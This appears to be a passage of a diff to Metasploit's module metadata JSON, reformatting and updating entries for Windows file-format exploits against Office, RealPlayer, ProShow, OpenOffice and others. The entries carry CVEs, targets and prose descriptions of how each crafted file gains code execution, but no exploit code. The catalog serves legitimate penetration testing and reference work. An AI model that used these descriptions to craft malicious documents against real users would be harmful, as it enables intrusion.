@@ "exploit_windows/fileformat/nuance_pdf_launch_overflow": { "name": "Nuance PDF Reader v6.0 Launch Stack Buffer Overflow", "fullname": "exploit/windows/fileformat/nuance_pdf_launch_overflow", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2010-10-08", "type": "exploit", @@ -158114,16 +161728,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Nuance PDF Reader v6.x (XP SP3)" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/nuance_pdf_launch_overflow.rb", "is_install_path": true, "ref_name": "windows/fileformat/nuance_pdf_launch_overflow", @@ -158131,6 +161741,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -158138,16 +161757,14 @@ "exploit_windows/fileformat/office_dde_delivery": { "name": "Microsoft Office DDE Payload Delivery", "fullname": "exploit/windows/fileformat/office_dde_delivery", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2017-10-09", "type": "exploit", "author": [ "mumbai" ], - "description": "This module generates an DDE command to place within\n a word document, that when executed, will retrieve a HTA payload\n via HTTP from an web server.", + "description": "This module generates an DDE command to place within\n a word document, that when executed, will retrieve a HTA payload\n via HTTP from an web server.", "references": [ "URL-https://gist.github.com/xillwillx/171c24c8e23512a891910824f506f563", "URL-https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/" @@ -158155,16 +161772,12 @@ "platform": "Windows", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Microsoft Office" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/office_dde_delivery.rb", "is_install_path": true, "ref_name": "windows/fileformat/office_dde_delivery", @@ -158172,6 +161785,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -158179,9 +161801,7 @@ "exploit_windows/fileformat/office_excel_slk": { "name": "Microsoft Excel .SLK Payload Delivery", "fullname": "exploit/windows/fileformat/office_excel_slk", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2018-10-07", "type": "exploit", @@ -158190,7 +161810,7 @@ "Stan Hegt", "Pieter Ceelen" ], - "description": "This module generates a download and execute Powershell\n command to be placed in an .SLK Excel spreadsheet.\n When executed, it will retrieve a payload via HTTP\n from a web server. When the file is opened, the\n user will be prompted to \"Enable Content.\" Once\n this is pressed, the payload will execute.", + "description": "This module generates a download and execute Powershell\n command to be placed in an .SLK Excel spreadsheet.\n When executed, it will retrieve a payload via HTTP\n from a web server. When the file is opened, the\n user will be prompted to \"Enable Content.\" Once\n this is pressed, the payload will execute.", "references": [ "URL-https://blog.appriver.com/2018/02/trojan-droppers-using-symbolic-link-files", "URL-https://www.twitter.com/StanHacked/status/1049047727403937795", @@ -158199,16 +161819,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Microsoft Excel" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/office_excel_slk.rb", "is_install_path": true, "ref_name": "windows/fileformat/office_excel_slk", @@ -158216,6 +161832,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -158223,9 +161848,7 @@ "exploit_windows/fileformat/office_ms17_11882": { "name": "Microsoft Office CVE-2017-11882", "fullname": "exploit/windows/fileformat/office_ms17_11882", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2017-11-15", "type": "exploit", @@ -158233,25 +161856,21 @@ "mumbai", "embedi" ], - "description": "Module exploits a flaw in how the Equation Editor that\n allows an attacker to execute arbitrary code in RTF files without\n interaction. The vulnerability is caused by the Equation Editor,\n to which fails to properly handle OLE objects in memory.", + "description": "Module exploits a flaw in how the Equation Editor that\n allows an attacker to execute arbitrary code in RTF files without\n interaction. The vulnerability is caused by the Equation Editor,\n to which fails to properly handle OLE objects in memory.", "references": [ "CVE-2017-11882", - "URL-https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about", + "URL-http://web.archive.org/web/20211201000500/https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about", "URL-https://github.com/embedi/CVE-2017-11882" ], "platform": "Windows", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Microsoft Office" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/office_ms17_11882.rb", "is_install_path": true, "ref_name": "windows/fileformat/office_ms17_11882", @@ -158259,6 +161878,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -158266,16 +161894,14 @@ "exploit_windows/fileformat/office_ole_multiple_dll_hijack": { "name": "Office OLE Multiple DLL Side Loading Vulnerabilities", "fullname": "exploit/windows/fileformat/office_ole_multiple_dll_hijack", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2015-12-08", "type": "exploit", "author": [ "Yorick Koster" ], - "description": "Multiple DLL side loading vulnerabilities were found in various COM components.\n These issues can be exploited by loading various these components as an embedded\n OLE object. When instantiating a vulnerable object Windows will try to load one\n or more DLLs from the current working directory. If an attacker convinces the\n victim to open a specially crafted (Office) document from a directory also\n containing the attacker's DLL file, it is possible to execute arbitrary code with\n the privileges of the target user. This can potentially result in the attacker\n taking complete control of the affected system.", + "description": "Multiple DLL side loading vulnerabilities were found in various COM components.\n These issues can be exploited by loading various these components as an embedded\n OLE object. When instantiating a vulnerable object Windows will try to load one\n or more DLLs from the current working directory. If an attacker convinces the\n victim to open a specially crafted (Office) document from a directory also\n containing the attacker's DLL file, it is possible to execute arbitrary code with\n the privileges of the target user. This can potentially result in the attacker\n taking complete control of the affected system.", "references": [ "CVE-2015-6132", "CVE-2015-6128", @@ -158303,12 +161929,8 @@ "platform": "Windows", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "All", "COM+ Services / Windows Vista - 10 / Office 2007 - 2016 (MS15-132)", @@ -158323,7 +161945,7 @@ "NPS Datastore server / Windows Vista / Office 2010 (MS16-014)", "BDA MPEG2 Transport Information Filter / Windows Vista / Office 2010 (MS16-014)" ], - "mod_time": "2022-03-10 18:03:35 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/office_ole_multiple_dll_hijack.rb", "is_install_path": true, "ref_name": "windows/fileformat/office_ole_multiple_dll_hijack", @@ -158331,6 +161953,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -158338,9 +161969,7 @@ "exploit_windows/fileformat/office_word_hta": { "name": "Microsoft Office Word Malicious Hta Execution", "fullname": "exploit/windows/fileformat/office_word_hta", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-04-14", "type": "exploit", @@ -158353,7 +161982,7 @@ "Nixawk", "sinn3r " ], - "description": "This module creates a malicious RTF file that when opened in\n vulnerable versions of Microsoft Word will lead to code execution.\n The flaw exists in how a olelink object can make a http(s) request,\n and execute hta code in response.\n\n This bug was originally seen being exploited in the wild starting\n in Oct 2016. This module was created by reversing a public\n malware sample.", + "description": "This module creates a malicious RTF file that when opened in\n vulnerable versions of Microsoft Word will lead to code execution.\n The flaw exists in how a olelink object can make a http(s) request,\n and execute hta code in response.\n\n This bug was originally seen being exploited in the wild starting\n in Oct 2016. This module was created by reversing a public\n malware sample.", "references": [ "CVE-2017-0199", "URL-https://securingtomorrow.mcafee.com/mcafee-labs/critical-office-zero-day-attacks-detected-wild/", @@ -158373,16 +162002,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Microsoft Office Word" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/office_word_hta.rb", "is_install_path": true, "ref_name": "windows/fileformat/office_word_hta", @@ -158390,6 +162015,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -158397,9 +162031,7 @@ "exploit_windows/fileformat/openoffice_ole": { "name": "OpenOffice OLE Importer DocumentSummaryInformation Stream Handling Overflow", "fullname": "exploit/windows/fileformat/openoffice_ole", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2008-04-17", "type": "exploit", @@ -158407,7 +162039,7 @@ "Marsu ", "juan vazquez " ], - "description": "This module exploits a vulnerability in OpenOffice 2.3.1 and 2.3.0 on\n Microsoft Windows XP SP3.\n\n By supplying a OLE file with a malformed DocumentSummaryInformation stream, an\n attacker can gain control of the execution flow, which results arbitrary code\n execution under the context of the user.", + "description": "This module exploits a vulnerability in OpenOffice 2.3.1 and 2.3.0 on\n Microsoft Windows XP SP3.\n\n By supplying a OLE file with a malformed DocumentSummaryInformation stream, an\n attacker can gain control of the execution flow, which results arbitrary code\n execution under the context of the user.", "references": [ "CVE-2008-0320", "OSVDB-44472", @@ -158418,16 +162050,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "OpenOffice 2.3.1 / 2.3.0 on Windows XP SP3" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/openoffice_ole.rb", "is_install_path": true, "ref_name": "windows/fileformat/openoffice_ole", @@ -158435,6 +162063,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -158442,9 +162079,7 @@ "exploit_windows/fileformat/orbit_download_failed_bof": { "name": "Orbit Downloader URL Unicode Conversion Overflow", "fullname": "exploit/windows/fileformat/orbit_download_failed_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2008-04-03", "type": "exploit", @@ -158452,7 +162087,7 @@ "Diego Juarez", "juan vazquez " ], - "description": "This module exploits a stack-based buffer overflow in Orbit Downloader.\n The vulnerability is due to Orbit converting a URL ascii string to unicode\n in an insecure way with MultiByteToWideChar.\n The vulnerability is exploited with a specially crafted metalink file that\n should be opened with Orbit through the \"File->Add Metalink...\" option.", + "description": "This module exploits a stack-based buffer overflow in Orbit Downloader.\n The vulnerability is due to Orbit converting a URL ascii string to unicode\n in an insecure way with MultiByteToWideChar.\n The vulnerability is exploited with a specially crafted metalink file that\n should be opened with Orbit through the \"File->Add Metalink...\" option.", "references": [ "BID-28541", "OSVDB-44036", @@ -158462,17 +162097,13 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Orbit Downloader 6.4 on Windows XP SP3", "Orbit Downloader 6.4 on Windows 7" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/orbit_download_failed_bof.rb", "is_install_path": true, "ref_name": "windows/fileformat/orbit_download_failed_bof", @@ -158480,6 +162111,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -158487,16 +162127,14 @@ "exploit_windows/fileformat/orbital_viewer_orb": { "name": "Orbital Viewer ORB File Parsing Buffer Overflow", "fullname": "exploit/windows/fileformat/orbital_viewer_orb", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2010-02-27", "type": "exploit", "author": [ "jduck " ], - "description": "This module exploits a stack-based buffer overflow in David Manthey's\n Orbital Viewer. When processing .ORB files, data is read from file into\n a fixed-size stack buffer using the fscanf function. Since no bounds\n checking is done, a buffer overflow can occur. Attackers can execute\n arbitrary code by convincing their victim to open an ORB file.", + "description": "This module exploits a stack-based buffer overflow in David Manthey's\n Orbital Viewer. When processing .ORB files, data is read from file into\n a fixed-size stack buffer using the fscanf function. Since no bounds\n checking is done, a buffer overflow can occur. Attackers can execute\n arbitrary code by convincing their victim to open an ORB file.", "references": [ "BID-38436", "OSVDB-62580", @@ -158507,16 +162145,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Orbital Viewer 1.04 on Windows XP SP3" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/orbital_viewer_orb.rb", "is_install_path": true, "ref_name": "windows/fileformat/orbital_viewer_orb", @@ -158524,6 +162158,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -158531,9 +162174,7 @@ "exploit_windows/fileformat/ovf_format_string": { "name": "VMWare OVF Tools Format String Vulnerability", "fullname": "exploit/windows/fileformat/ovf_format_string", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-11-08", "type": "exploit", @@ -158541,7 +162182,7 @@ "Jeremy Brown", "juan vazquez " ], - "description": "This module exploits a format string vulnerability in VMWare OVF Tools 2.1 for\n Windows. The vulnerability occurs when printing error messages while parsing a\n a malformed OVF file. The module has been tested successfully with VMWare OVF Tools\n 2.1 on Windows XP SP3.", + "description": "This module exploits a format string vulnerability in VMWare OVF Tools 2.1 for\n Windows. The vulnerability occurs when printing error messages while parsing a\n a malformed OVF file. The module has been tested successfully with VMWare OVF Tools\n 2.1 on Windows XP SP3.", "references": [ "CVE-2012-3569", "OSVDB-87117", @@ -158551,16 +162192,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "VMWare OVF Tools 2.1 on Windows XP SP3" ], - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/ovf_format_string.rb", "is_install_path": true, "ref_name": "windows/fileformat/ovf_format_string", @@ -158568,6 +162205,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -158575,16 +162221,14 @@ "exploit_windows/fileformat/proshow_cellimage_bof": { "name": "ProShow Gold v4.0.2549 (PSH File) Stack Buffer Overflow", "fullname": "exploit/windows/fileformat/proshow_cellimage_bof", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2009-08-20", "type": "exploit", "author": [ "jduck " ], - "description": "This module exploits a stack-based buffer overflow in ProShow Gold v4.0.2549.\n An attacker must send the file to victim and the victim must open the file.", + "description": "This module exploits a stack-based buffer overflow in ProShow Gold v4.0.2549.\n An attacker must send the file to victim and the victim must open the file.", "references": [ "CVE-2009-3214", "OSVDB-57226", @@ -158594,16 +162238,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/proshow_cellimage_bof.rb", "is_install_path": true, "ref_name": "windows/fileformat/proshow_cellimage_bof", @@ -158611,6 +162251,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -158618,9 +162267,7 @@ "exploit_windows/fileformat/proshow_load_bof": { "name": "Photodex ProShow Producer 5.0.3256 load File Handling Buffer Overflow", "fullname": "exploit/windows/fileformat/proshow_load_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-06-06", "type": "exploit", @@ -158629,7 +162276,7 @@ "mr.pr0n", "juan vazquez " ], - "description": "This module exploits a stack-based buffer overflow in Photodex ProShow Producer\n v5.0.3256 in the handling of the plugins load list file. An attacker must send the\n crafted \"load\" file to victim, who must store it in the installation directory. The\n vulnerability will be triggered the next time ProShow is opened. The module has been\n tested successfully on Windows XP SP3 and Windows 7 SP1.", + "description": "This module exploits a stack-based buffer overflow in Photodex ProShow Producer\n v5.0.3256 in the handling of the plugins load list file. An attacker must send the\n crafted \"load\" file to victim, who must store it in the installation directory. The\n vulnerability will be triggered the next time ProShow is opened. The module has been\n tested successfully on Windows XP SP3 and Windows 7 SP1.", "references": [ "OSVDB-83745", "EDB-19563", @@ -158639,16 +162286,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Photodex ProShow Producer 5.0.3256 / Windows XP SP3 / Windows 7 SP1" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/proshow_load_bof.rb", "is_install_path": true, "ref_name": "windows/fileformat/proshow_load_bof", @@ -158656,6 +162299,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -158663,9 +162315,7 @@ "exploit_windows/fileformat/publishit_pui": { "name": "Publish-It PUI Buffer Overflow (SEH)", "fullname": "exploit/windows/fileformat/publishit_pui", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-02-05", "type": "exploit", @@ -158682,16 +162332,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Publish-It 3.6d" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/publishit_pui.rb", "is_install_path": true, "ref_name": "windows/fileformat/publishit_pui", @@ -158699,6 +162345,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -158706,9 +162361,7 @@ "exploit_windows/fileformat/real_networks_netzip_bof": { "name": "Real Networks Netzip Classic 7.5.1 86 File Parsing Buffer Overflow Vulnerability", "fullname": "exploit/windows/fileformat/real_networks_netzip_bof", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2011-01-30", "type": "exploit", @@ -158716,7 +162369,7 @@ "C4SS!0 G0M3S", "TecR0c " ], - "description": "This module exploits a stack-based buffer overflow vulnerability in\n version 7.5.1 86 of Real Networks Netzip Classic.\n In order for the command to be executed, an attacker must convince someone to\n load a specially crafted zip file with NetZip Classic.\n By doing so, an attacker can execute arbitrary code as the victim user.", + "description": "This module exploits a stack-based buffer overflow vulnerability in\n version 7.5.1 86 of Real Networks Netzip Classic.\n In order for the command to be executed, an attacker must convince someone to\n load a specially crafted zip file with NetZip Classic.\n By doing so, an attacker can execute arbitrary code as the victim user.", "references": [ "OSVDB-83436", "EDB-16083", @@ -158726,17 +162379,13 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP3", "Windows 7/Windows Vista" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/real_networks_netzip_bof.rb", "is_install_path": true, "ref_name": "windows/fileformat/real_networks_netzip_bof", @@ -158744,6 +162393,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -158751,16 +162409,14 @@ "exploit_windows/fileformat/real_player_url_property_bof": { "name": "RealPlayer RealMedia File Handling Buffer Overflow", "fullname": "exploit/windows/fileformat/real_player_url_property_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-12-14", "type": "exploit", "author": [ "suto " ], - "description": "This module exploits a stack based buffer overflow on RealPlayer <=15.0.6.14.\n The vulnerability exists in the handling of real media files, due to the insecure\n usage of the GetPrivateProfileString function to retrieve the URL property from an\n InternetShortcut section.\n\n This module generates a malicious rm file which must be opened with RealPlayer via\n drag and drop or double click methods. It has been tested successfully on Windows\n XP SP3 with RealPlayer 15.0.5.109.", + "description": "This module exploits a stack based buffer overflow on RealPlayer <=15.0.6.14.\n The vulnerability exists in the handling of real media files, due to the insecure\n usage of the GetPrivateProfileString function to retrieve the URL property from an\n InternetShortcut section.\n\n This module generates a malicious rm file which must be opened with RealPlayer via\n drag and drop or double click methods. It has been tested successfully on Windows\n XP SP3 with RealPlayer 15.0.5.109.", "references": [ "CVE-2012-5691", "OSVDB-88486", @@ -158770,16 +162426,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP3 / Real Player 15.0.5.109" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/real_player_url_property_bof.rb", "is_install_path": true, "ref_name": "windows/fileformat/real_player_url_property_bof", @@ -158787,6 +162439,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -158794,16 +162455,14 @@ "exploit_windows/fileformat/realplayer_ver_attribute_bof": { "name": "RealNetworks RealPlayer Version Attribute Buffer Overflow", "fullname": "exploit/windows/fileformat/realplayer_ver_attribute_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-12-20", "type": "exploit", "author": [ "Gabor Seljan" ], - "description": "This module exploits a stack-based buffer overflow vulnerability in\n version 16.0.3.51 and 16.0.2.32 of RealNetworks RealPlayer, caused by\n improper bounds checking of the version and encoding attributes inside\n the XML declaration.\n\n By persuading the victim to open a specially-crafted .RMP file, a\n remote attacker could execute arbitrary code on the system or cause\n the application to crash.", + "description": "This module exploits a stack-based buffer overflow vulnerability in\n version 16.0.3.51 and 16.0.2.32 of RealNetworks RealPlayer, caused by\n improper bounds checking of the version and encoding attributes inside\n the XML declaration.\n\n By persuading the victim to open a specially-crafted .RMP file, a\n remote attacker could execute arbitrary code on the system or cause\n the application to crash.", "references": [ "BID-64695", "EDB-30468", @@ -158815,16 +162474,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP2/SP3 (DEP Bypass) / RealPlayer 16.0.3.51/16.0.2.32" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/realplayer_ver_attribute_bof.rb", "is_install_path": true, "ref_name": "windows/fileformat/realplayer_ver_attribute_bof", @@ -158832,6 +162487,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -158839,16 +162503,14 @@ "exploit_windows/fileformat/safenet_softremote_groupname": { "name": "SafeNet SoftRemote GROUPNAME Buffer Overflow", "fullname": "exploit/windows/fileformat/safenet_softremote_groupname", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2009-10-30", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack buffer overflow in SafeNet SoftRemote\n Security Policy Editor <= 10.8.5. When an attacker\n creates a specially formatted security policy with an\n overly long GROUPNAME argument, it is possible to execute\n arbitrary code.", + "description": "This module exploits a stack buffer overflow in SafeNet SoftRemote\n Security Policy Editor <= 10.8.5. When an attacker\n creates a specially formatted security policy with an\n overly long GROUPNAME argument, it is possible to execute\n arbitrary code.", "references": [ "CVE-2009-3861", "OSVDB-59660", @@ -158857,19 +162519,15 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP3 English", "WinSrv 2000 SP4 English", "WinSrv 2000 SP2 English", "WinSrv 2003 Enterprise Edition SP1 (v1023) English" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/safenet_softremote_groupname.rb", "is_install_path": true, "ref_name": "windows/fileformat/safenet_softremote_groupname", @@ -158877,6 +162535,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -158884,16 +162551,14 @@ "exploit_windows/fileformat/sascam_get": { "name": "SasCam Webcam Server v.2.6.5 Get() Method Buffer Overflow", "fullname": "exploit/windows/fileformat/sascam_get", - "aliases": [ - - ], + "aliases": [], "rank": 100, "disclosure_date": "2008-12-29", "type": "exploit", "author": [ "dean " ], - "description": "The SasCam Webcam Server ActiveX control is vulnerable to a buffer overflow.\n By passing an overly long argument via the Get method, a remote attacker could\n overflow a buffer and execute arbitrary code on the system with the privileges\n of the user. This control is not marked safe for scripting, please choose your\n attack vector carefully.", + "description": "The SasCam Webcam Server ActiveX control is vulnerable to a buffer overflow.\n By passing an overly long argument via the Get method, a remote attacker could\n overflow a buffer and execute arbitrary code on the system with the privileges\n of the user. This control is not marked safe for scripting, please choose your\n attack vector carefully.", "references": [ "CVE-2008-6898", "OSVDB-55945", @@ -158902,16 +162567,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP3 / IE 7" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/sascam_get.rb", "is_install_path": true, "ref_name": "windows/fileformat/sascam_get", @@ -158919,6 +162580,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -158926,16 +162596,14 @@ "exploit_windows/fileformat/scadaphone_zip": { "name": "ScadaTEC ScadaPhone Stack Buffer Overflow", "fullname": "exploit/windows/fileformat/scadaphone_zip", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2011-09-12", "type": "exploit", "author": [ "mr_me " ], - "description": "This module exploits a stack-based buffer overflow vulnerability in\n version 5.3.11.1230 of scadaTEC's ScadaPhone.\n\n In order for the command to be executed, an attacker must convince someone to\n load a specially crafted project zip file with ScadaPhone.\n By doing so, an attacker can execute arbitrary code as the victim user.", + "description": "This module exploits a stack-based buffer overflow vulnerability in\n version 5.3.11.1230 of scadaTEC's ScadaPhone.\n\n In order for the command to be executed, an attacker must convince someone to\n load a specially crafted project zip file with ScadaPhone.\n By doing so, an attacker can execute arbitrary code as the victim user.", "references": [ "CVE-2011-4535", "OSVDB-75375", @@ -158945,16 +162613,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal" ], - "mod_time": "2020-10-02 17:38:06 